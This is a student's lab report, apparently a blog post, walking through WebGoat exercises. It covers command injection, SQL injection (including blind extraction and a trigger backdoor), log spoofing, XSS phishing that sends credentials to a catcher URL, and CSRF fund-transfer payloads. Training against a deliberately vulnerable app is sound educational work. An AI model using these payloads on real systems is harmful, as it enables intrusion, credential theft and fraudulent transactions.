20164319 刘蕴哲 Exp9 Web安全基础

【实验内容】

WebGoat安装

SQL注入攻击

1.命令注入(Command Injection)

2.数字型注入(Numeric SQL Injection)

3.日志欺骗(Log Spoofing)

4.SQL注入(LAB: SQL Injection)

5.字符串注入(String SQL Injection)

6.数据库后门(Database Backdoors)

7.数字型盲注入(Blind Numeric SQL Injection)

8.字符串型盲注入(Blind String SQL Injection)

XSS攻击

1.XSS 钓鱼(Phishing with XSS)

2.存储型XSS攻击(Stored XSS Attacks)

3.反射型XSS攻击(Reflected XSS Attacks)

CSRF攻击

1.跨站请求伪造(Cross Site Request Forgery (CSRF))

2.绕过CSRF确认(CSRF Prompt By‐Pass)

 

【实验步骤】

 

[part.1]WebGoat安装

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。其运行在带有java虚拟机的平台之上,并提供了一系列web安全学习的教程,来指导用户利用这些漏洞进行攻击。下载jar包地址:webgoat-container-7.0.1-war-exec.jar(tips:我觉得网站下载的jar包有问题,前面下很慢,后面一下就下好了,然后在终端上运行不起来,我就去拷了一个jar包就好了)

首先在kali终端上,输入指令:

netstat -tupln | grep 8080      //查看80端口是否被占用(如果有进程占用,kill进程号终止占用端口的进程)
                                                                
java
-version //查看jdk版本(如果版本过新的话要用指令替换版本) java -jar webgoat-container-7.0.1-war-exec.jar //开启WebGoat

可以看到我的jdk版本是11.0.3,这个版本的webgoat打开登录后会没有课程内容,需要手动修改一下版本:

update-alternatives  --config java

 然后重新开启WebGoat服务,进行下一步,在浏览器中打开WebGoat登录界面:http://localhost:8080/WebGoat(用户名和密码已经给出,可直接使用)

 

成功登录后可在左侧看到实践课程

 

[part.2]WebGoat安装SQL注入攻击

① 命令注入(Command Injection)

点击Injection”-“Flaws-Command”-“Injection”

右击右侧文本框,选择inspect Element”对网页源代码进行修改,在末尾添加

"& netstat -an & ipconfig"

点击view”,查看到命令执行结果

 

②数字型SQL注入(Numeric SQL Injection)

点击Injection Flaws”-Numeric SQL Injection”

右击复选框,选择inspect Element”审查网页元素对源代码进行修改,在城市编号“101”后面添加or 1=1

value="101" or 1=1

点击Go”,攻击成功

 

③ 日志欺骗(Log Spoofing)

点击Injection Flaws”-Log Spoofing”

User Name”中填入

webgoat%0d%0aLogin Succeeded for username: admin

(*利用回车0D%和换行符%0A让其在日志中两行显示*)

输入密码后点击Login”

(*此外,攻击者可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。

在用户名中输入admin <script>alert(document.cookie)</script>,管理员可以看到弹窗的cookie信息*)

 

④字符串型注入(String SQL Injection)

点击Injection Flaws”-String SQL Injection”

输入查询的用户名Smith' or 1=1--

(*操作中我们使用了'提前闭合"",插入永真式1=1,且--注释掉后面的内容,这样就能select表里面的所有数据*)

 

⑤LAB: SQL Injection

在密码框输入' or 1=1 -- ,登录失败,这是因为密码长度有限制

我们需要手动修改网页设置可输入的密码最大长度,在密码框右键选择inspect Element”“maxlength”改为100

重新输入' or 1=1 --,登录成功

 
⑥数据库后门(Database Backdoors)

输入101,得到该用户的信息

输入的语句没有验证,很容易进行 SQL 注入。

输入注入语句101; update employee set salary=10000

设置触发器:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid

由于WebGoat使用的是MySQL数据库,不支持触发器,因此该课程并不能在这里真正实现。

 
⑦数字型盲注入(Blind Numeric SQL Injection)

服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句:“SELECT * FROM user_data WHERE userid=accountNumber;

使用AND函数,添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效:

101 AND 1=1 
101 AND 1=2`

第一条语句两个条件都成立,页面返回“Account number is valid

第二条返回“帐号无效

利用上面的方法可以检测PIN数值是否大于10000:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

如果页面提示帐号无效,可知PIN<=10000。由此利用二分法不断调整数值,并最终判断出PIN 数值的大小。

最终运行到如下语句得出账号:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

 

在查询框中输入2364并提交

 

 

⑧字符串型盲注入(Blind String SQL Injection)

这里我们查询的字段是一个字符串而不是数值,同样可以通过注入方式查找到该字段的值:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
(*该语句使用了SUBSTRING 方法,取得pin 字段数值的第一个字母,并判断其是否比字母“H”小。*)

经过多次测试(比较0-9A-Za-z等字符串)和页面的返回数据,判断出第一个字符为J。同理继续判断第二个字符:

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );

最终,判断出pin字段的值为Jill,提交该值。

 

[part.3]XSS攻击

① Phishing with XSS 跨站脚本钓鱼攻击

 创建一个带用户名和密码输入框的表格如下:

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>

XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单

现在我们需要一段脚本(这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat):

<script>
function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>

将上面两段代码合并搜索

<script>
function hack()
{ 
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
  XSSImage=new Image; 
  XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
} 
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。

 

② Phishing with XSS 跨站脚本钓鱼攻击

在Message中构造语句<script>alert("U have been hacked!");</script>,“Title”任意输入。提交后可发现刚创建的Tips

点击Tips”,然后会弹出一个对话框,证明XSS攻击成功。

 

③Reflected XSS Attacks 反射型XSS攻击

Enter your three digit access code”:中输入<script>alert("Attention!!U have been hacked!");</script>点击Purchase”,成功显示警告框,内容为我们script脚本指定的内容。

若我们输入上一课程的脚本,其原理相同,也会成功。

 

[part.4]CSRF攻击

①Cross Site Request Forgery(CSRF)

 

点击XSS-Cross Site Request Forgery(CSRF)”

查看页面右下方Parameters”中的“src”“menu”值(分别为530900

“Message”框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />

以图片的的形式将URL放进“Message”框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit”提交

(*其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片*)

输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

 

②CSRF Prompt By-Pass

点击XSS-CSRF Prompt By”-“Pass”

同上面的攻击,查看页面右下方的Parameters”中的“src”“menu”值(分别为485900),并输入任意的Title,“message”框中输入代码

<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>

 点击Submit”生成以Title命名的链接,点击链接,攻击成功

 

 

【实验感悟】

  本次实验内容都是在Webgoat平台上进行,前面安装jar包花费了较长时间,主要问题还是我安装运行jar包之后,没有检查版本适配的问题,在替换了版本之后得以解决。本次实验加深了我对XSS攻击、SQL注入以及CSRF攻击的理解。用实践的形式让我们能深刻理解各种攻击的主要方法和手段,我觉得比起理论知识的学习更加深入。

 

posted on 2019-05-26 18:27  刘蕴哲  阅读(65)  评论(0编辑  收藏